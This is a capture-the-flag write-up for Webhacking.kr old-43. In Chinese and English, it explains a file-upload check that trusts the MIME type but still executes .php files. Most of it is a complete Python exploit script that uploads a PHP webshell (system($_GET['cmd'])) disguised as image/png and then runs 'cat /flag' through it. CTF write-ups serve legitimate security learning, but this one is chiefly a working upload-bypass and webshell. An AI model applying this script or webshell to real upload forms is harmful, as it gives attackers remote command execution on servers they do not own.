Webhacking.kr old-43

Challenge

Upload a PHP webshell while sending an image MIME type, then read /flag.

使用 image MIME type 上传 PHP webshell,再读取 /flag。

1
http://webhacking.kr:10004/

Analysis

服务端检查 multipart 文件字段 file 的 MIME 类型,却没有同时阻止 .php 文件名。于是 PHP 内容可以用 image/png 的 multipart Content-Type 上传;保存后,服务器按 PHP 文件处理该文件。访问脚本并给 cmd 参数 cat /flag,由 system() 执行命令并把 /flag 内容返回。

Solution

下面是完整可运行的 Python 脚本。它显式构造 multipart 上传,保留关键的字段名、PHP 文件名和伪装 MIME 类型,再请求上传后的 webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from __future__ import annotations

import argparse
from urllib.parse import urljoin

import requests

WEB_SHELL = b'<?php system($_GET["cmd"]); ?>\n'

def upload(session: requests.Session, upload_url: str, filename: str) -> str:
files = {"file": (filename, WEB_SHELL, "image/png")}
response = session.post(upload_url, files=files, timeout=20)
response.raise_for_status()
return urljoin(upload_url, filename)

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--upload-url", default="http://webhacking.kr:10004/")
parser.add_argument("--filename", default="shell.php")
args = parser.parse_args()

session = requests.Session()
shell_url = upload(session, args.upload_url, args.filename)
response = session.get(shell_url, params={"cmd": "cat /flag"}, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

机制是 MIME 白名单与实际文件解释方式脱节:上传检查看到 image/png,文件名和保存位置仍让服务器执行 .php。